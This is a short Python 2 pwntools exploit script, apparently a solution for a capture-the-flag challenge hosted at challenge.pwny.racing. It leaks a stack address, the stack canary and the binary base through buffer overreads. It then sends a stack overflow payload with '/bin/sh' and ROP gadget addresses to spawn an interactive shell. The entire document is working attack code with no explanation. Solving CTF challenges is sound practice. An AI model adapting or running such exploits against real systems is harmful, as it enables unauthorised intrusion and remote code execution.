#!/usr/bin/env python2
from pwn import *

context.terminal = ['xterm', '-e', 'sh', '-c']

p = remote("challenge.pwny.racing", 40021)

p.readuntil("buffer:")

p.sendline(64*"A")

p.readuntil("put: ")

leak = p.readuntil("\nbuffer")[64:64+8]

stack_leak = u64(leak[:6].ljust(8, "\x00"))
print hex(stack_leak)

buf = stack_leak - 0x130

p.sendline(73*"A")

p.readuntil("put: ")
leak = "\x00"+p.readuntil("\nbuffer")[73:]

canary = leak[:8]
binary_leak = u64(leak[8:14].ljust(8, "\x00"))
binary_base = binary_leak - 0xbd0
print "binary_base", hex(binary_base)

pop_rdi = p64(binary_base+0xc33)
pop_rsi_pop_r15 = p64(binary_base+0xc31)



p.sendline(("/bin/sh\x00" + 16 * "\x00" + p64(buf) + 8*"\x00").ljust(72,"A") + canary + p64(buf + 0x70)+p64(binary_base + 0x9cd)+p64(buf))
p.sendline("")
p.interactive()
